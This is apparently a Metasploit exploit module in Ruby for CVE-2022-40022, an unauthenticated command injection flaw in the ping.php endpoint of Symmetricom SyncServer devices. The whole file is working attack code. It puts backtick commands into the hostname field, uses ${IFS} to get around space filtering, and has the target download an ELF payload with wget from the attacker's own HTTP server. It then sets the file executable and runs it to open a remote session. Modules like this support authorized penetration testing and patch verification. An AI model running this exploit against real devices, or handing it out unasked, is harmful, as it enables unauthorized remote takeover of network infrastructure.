Symmetricom SyncServer Unauthenticated Remote Command Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit  Rank = ExcellentRanking  include Msf::Exploit::EXE  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HttpServer::HTML  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Symmetricom SyncServer Unauthenticated Remote Command Execution',        'Description' => %q{          This module exploits an unauthenticated command injection vulnerability in /controller/ping.php.          The S100 through S350 (End of Life) models should be vulnerable to          unauthenticated exploitation due to a session handling vulnerability.          Later models require authentication which is not provided in this module because we can't test it.          The command injection vulnerability is patched in the S650 v2.2 (CVE-2022-40022).          Run 'check' first to determine if vulnerable.          The server limits outbound ports. Ports 25 and 80 TCP were successfully used for SRVPORT          and LPORT while testing this module.        },        'Author' => [          'Steve Campbell', # @lpha3ch0 - Exploit PoC, Metasploit module          'Justin Fatuch Apt4hax', # Exploit PoC          'Robert Bronstein' # Metasploit Module        ],        'References' => [          ['CVE', '2022-40022'],          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2022-40022']        ],        'DisclosureDate' => '2022-08-31',        'License' => MSF_LICENSE,        'Platform' => 'linux',        'Arch' => [ARCH_X86, ARCH_X64],        'Targets' => [          [ 'Automatic', {} ],        ],        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'Reliability' => [ REPEATABLE_SESSION ],          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]        }      )    )    register_options(      [        OptString.new('FILENAME', [true, 'Payload filename', 'payload.elf']),        OptAddress.new('SRVHOST', [true, 'HTTP Server Bind Address', '127.0.1.1']),        OptInt.new('SRVPORT', [true, 'HTTP Server Port', '4444'])      ], self.class    )  end  def primer; end  def on_request_uri(cli, req)    @pl = generate_payload_exe    print_status("#{peer} - Payload request received: #{req.uri}")    send_response(cli, @pl)  end  def check    uri = '/controller/ping.php'    res = send_request_cgi({      'method' => 'POST',      'uri' => uri,      'vars_post' =>          {            'currentTab' => 'ping',            'refreshMode' => 'dirty',            'ethDirty' => 'false',            'snmpCfgDirty' => 'false',            'snmpTrapDirty' => 'false',            'pingDirty' => 'true',            'hostname' => "\`id\`",            'port' => 'eth0',            'pingType' => 'ping'          }    })    if res && res.body.to_s =~ /uid=0/      Exploit::CheckCode::Vulnerable    else      Exploit::CheckCode::Safe    end  end  def request(cmd)    uri = '/controller/ping.php'    send_request_cgi({      'method' => 'POST',      'Content-Type' => 'application/x-www-form-encoded',      'uri' => uri,      'vars_post' =>      {        'currentTab' => 'ping',        'refreshMode' => 'dirty',        'ethDirty' => 'false',        'snmpCfgDirty' => 'false',        'snmpTrapDirty' => 'false',        'pingDirty' => 'true',        'hostname' => cmd,        'port' => 'eth0',        'pingType' => 'ping'      }    })  end  def exploit    srvhost = datastore['SRVHOST']    srvport = datastore['SRVPORT']    filename = datastore['FILENAME']    resource_uri = '/' + filename    shell_path = '/tmp/'    cmds = [      "\`wget${IFS}http://" + srvhost + ':' + srvport + '/' + filename + '${IFS}-O${IFS}' + shell_path + filename + "\`",      "\`chmod${IFS}700${IFS}" + shell_path + filename + "\`",      "\`" + shell_path + filename + "\`"    ]    start_service({      'Uri' => {        'Proc' => proc { |cli, req|                    on_request_uri(cli, req)                  },        'Path' => resource_uri      }    })    print_status("#{rhost}:#{rport} - Exploit started...")    print_status("#{rhost}:#{rport} - Sending wget command...")    request(cmds[0])    sleep(3)    print_status("#{rhost}:#{rport} - Making payload executable...")    request(cmds[1])    sleep(3)    print_status("#{rhost}:#{rport} - Executing payload...")    request(cmds[2])    sleep(3)  endend